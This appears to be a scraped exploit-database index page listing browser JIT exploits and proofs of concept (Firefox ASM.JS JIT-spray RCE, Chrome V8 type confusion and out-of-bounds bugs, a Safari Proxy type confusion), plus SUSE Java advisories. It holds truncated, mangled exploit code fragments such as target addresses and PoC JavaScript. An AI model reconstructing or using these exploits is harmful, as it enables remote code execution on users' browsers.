Firefox 46.0.1 - ASM.JS JIT-Spray Remote Code Execution

CVE-2016-2819 and ASM.JS JIT-Spray "use strict" var Exploit = function this.asmjs = new Asmjs this.heap = new Heap Exploit.prototype.go = function / target address of fake node object / var nodetargetaddr = 0x5a500000 / target address of asm.js float pool payload/ var targeteip = 0x20200b58 / spr...

Firefox 44.0.2 ASM.JS JIT-Spray Remote Code Execution

46.0.1 -- CVE-2016-1960 and ASM.JS JIT-Spray "use strict" var Exploit = function this.asmjs = new Asmjs this.heap = new Heap Exploit.prototype.go = function / target address of fake node object / var nodetargetaddr = 0x20200000 / target address of asm.js float pool payload/ var targeteip =...

Firefox 46.0.1 ASM.JS JIT-Spray Remote Code Execution

CVE-2016-2819 and ASM.JS JIT-Spray "use strict" var Exploit = function this.asmjs = new Asmjs this.heap = new Heap Exploit.prototype.go = function / target address of fake node object / var nodetargetaddr = 0x5a500000 / target address of asm.js float pool payload/ var targeteip = 0x20200b58 / spr...

Firefox 44.0.2 - ASM.JS JIT-Spray Remote Code Execution

46.0.1 -- CVE-2016-1960 and ASM.JS JIT-Spray "use strict" var Exploit = function this.asmjs = new Asmjs this.heap = new Heap Exploit.prototype.go = function / target address of fake node object / var nodetargetaddr = 0x20200000 / target address of asm.js float pool payload/ var targeteip =...

Firefox 46.0.1 - ASM.JS JIT-Spray Remote Code Execution

Firefox 46.0.1 - ASM.JS JIT-Spray Remote Code Execution CVE-2016-2819 and ASM.JS JIT-Spray "use strict" var Exploit = function this.asmjs = new Asmjs this.heap = new Heap Exploit.prototype.go = function / target address of fake node object / var nodetargetaddr = 0x5a500000 / target address of...

Chrome: V8: JIT: Type confusion in GetSpecializationContext

PoC: function optarg = = arg let tmp = opt.x; // LdaNamedProperty for ;; arg; yield; function inner tmp; break; for let i = 0; i arg; this; , opt let tmp = arg.x; for ;; arg; yield; tmp = inner tmp; ; for let i = 0; i arg; this; , opt let tmp = arg.x; for ;; arg; yield; tmp = inner tmp; ; for let...

Chrome: V8: JIT: Simplified-lowererer IrOpcode::kStoreField, IrOpcode::kStoreElement optimization bug

I think this commit has introduced the bugs: https://chromium.googlesource.com/v8/v8/+/c22ca7f73ba92f22d0cd29b06bb2944a545a8d3e%5E%21/F0 Here's a snippet. case IrOpcode::kStoreField: FieldAccess access = FieldAccessOfnode-op; Node valuenode = node-InputAt1; NodeInfo inputinfo = GetInfovaluenode;...

Safari Proxy Object Type Confusion

This module exploits a type confusion bug in the Javascript Proxy object in WebKit. The DFG JIT does not take into account that, through the use of a Proxy, it is possible to run arbitrary JS code during the execution of a CreateThis operation. This makes it possible to change the structure of e....

SUSE SLES11 Security Update : java-1_7_1-ibm (SUSE-SU-2018:0630-1)

This update for java-171-ibm provides the following fix: The version was updated to 7.1.4.20 bsc1082810 - Security fixes : - CVE-2018-2633 CVE-2018-2637 CVE-2018-2634 CVE-2018-2582 CVE-2018-2641 CVE-2018-2618 CVE-2018-2657 CVE-2018-2603 CVE-2018-2599 CVE-2018-2602 CVE-2018-2678 CVE-2018-2677...

SUSE-SU-2018:0630-1 Security update for java-1_7_1-ibm

This update for java-171-ibm provides the following fix: The version was updated to 7.1.4.20 bsc1082810 Security fixes: - CVE-2018-2633 CVE-2018-2637 CVE-2018-2634 CVE-2018-2582 CVE-2018-2641 CVE-2018-2618 CVE-2018-2657 CVE-2018-2603 CVE-2018-2599 CVE-2018-2602 CVE-2018-2678 CVE-2018-2677...

Chrome V8 JIT GetSpecializationContext Type Confusion Exploit

Exploit for multiple platform in category dos / poc Chrome: V8: JIT: Type confusion in GetSpecializationContext PoC: function optarg = = arg let tmp = opt.x; // LdaNamedProperty for ;; arg; yield; function inner tmp; break; for let i = 0; i arg; this; , opt let tmp = arg.x; for ;; arg; yield; tmp...

Chrome V8 JIT Optmization Bug Exploit

Chrome V8 JIT suffers from a simplified-lowererer IrOpcode::kStoreField, IrOpcode::kStoreElement optimization bug. Chrome: V8: JIT: Simplified-lowererer IrOpcode::kStoreField, IrOpcode::kStoreElement optimization bug I think this commit has introduced the bugs:...

Chrome V8 JIT - Simplified-lowererer IrOpcode::kStoreField_ IrOpcode::kStoreElement Optimization Bug

Chrome V8 JIT - Simplified-lowererer IrOpcode::kStoreField IrOpcode::kStoreElement Optimization Bug / I think this commit has introduced the bugs: https://chromium.googlesource.com/v8/v8/+/c22ca7f73ba92f22d0cd29b06bb2944a545a8d3e%5E%21/F0 Here's a snippet. case IrOpcode::kStoreField: FieldAccess...

Chrome V8 JIT - 'GetSpecializationContext' Type Confusion

PoC: function optarg = = arg let tmp = opt.x; // LdaNamedProperty for ;; arg; yield; function inner tmp; break; for let i = 0; i arg; this; , opt let tmp = arg.x; for ;; arg; yield; tmp = inner tmp; ; for let i = 0; i 10000; i++ opt; What happened: 1. The LdaNamedProperty operation "opt.x" was...

Chrome V8 JIT - GetSpecializationContext Type Confusion

Chrome V8 JIT - GetSpecializationContext Type Confusion PoC: function optarg = = arg let tmp = opt.x; // LdaNamedProperty for ;; arg; yield; function inner tmp; break; for let i = 0; i arg; this; , opt let tmp = arg.x; for ;; arg; yield; tmp = inner tmp; ; for let i = 0; i 10000; i++ opt; What...

Chrome V8 JIT JSBuiltinReducer::ReduceObjectCreate NULL Check Fail Exploit

Exploit for multiple platform in category dos / poc Chrome: V8: JIT: JSBuiltinReducer::ReduceObjectCreate fails to ensure that the prototype is "null" I think this commit has introduced the bug. https://chromium.googlesource.com/v8/v8/+/ff7063c7d5d8ad8eafcce3da59e65d7fe2b4f915%5E%21/F2 According ...

Chrome V8 JIT - Simplified-lowererer IrOpcode::kStoreField_ IrOpcode::kStoreElement Optimization Bug

/ I think this commit has introduced the bugs: https://chromium.googlesource.com/v8/v8/+/c22ca7f73ba92f22d0cd29b06bb2944a545a8d3e%5E%21/F0 Here's a snippet. case IrOpcode::kStoreField: FieldAccess access = FieldAccessOfnode-op; Node valuenode = node-InputAt1; NodeInfo inputinfo = GetInfovaluenode...

Chrome V8 JIT - Empty BytecodeJumpTable Out-of-Bounds Read

/ In the current implementation, the bytecode generator also emits empty jump tables. https://cs.chromium.org/chromium/src/v8/src/interpreter/bytecode-array-writer.cc?rcl=111e990462823c9faeee06b67c0dcf05749d4da8&l=89 So the bytecode for the example code would be generated as follows: Code: functi...

Chrome V8 JIT JSBuiltinReducer::ReduceObjectCreate NULL Check Fail

Chrome: V8: JIT: JSBuiltinReducer::ReduceObjectCreate fails to ensure that the prototype is "null" I think this commit has introduced the bug. https://chromium.googlesource.com/v8/v8/+/ff7063c7d5d8ad8eafcce3da59e65d7fe2b4f915%5E%21/F2 According to the description, Object.create is supposed to be...

Chrome V8 JIT Optmization Bug

Chrome: V8: JIT: Simplified-lowererer IrOpcode::kStoreField, IrOpcode::kStoreElement optimization bug I think this commit has introduced the bugs: https://chromium.googlesource.com/v8/v8/+/c22ca7f73ba92f22d0cd29b06bb2944a545a8d3e%5E%21/F0 Here's a snippet. case IrOpcode::kStoreField: FieldAccess...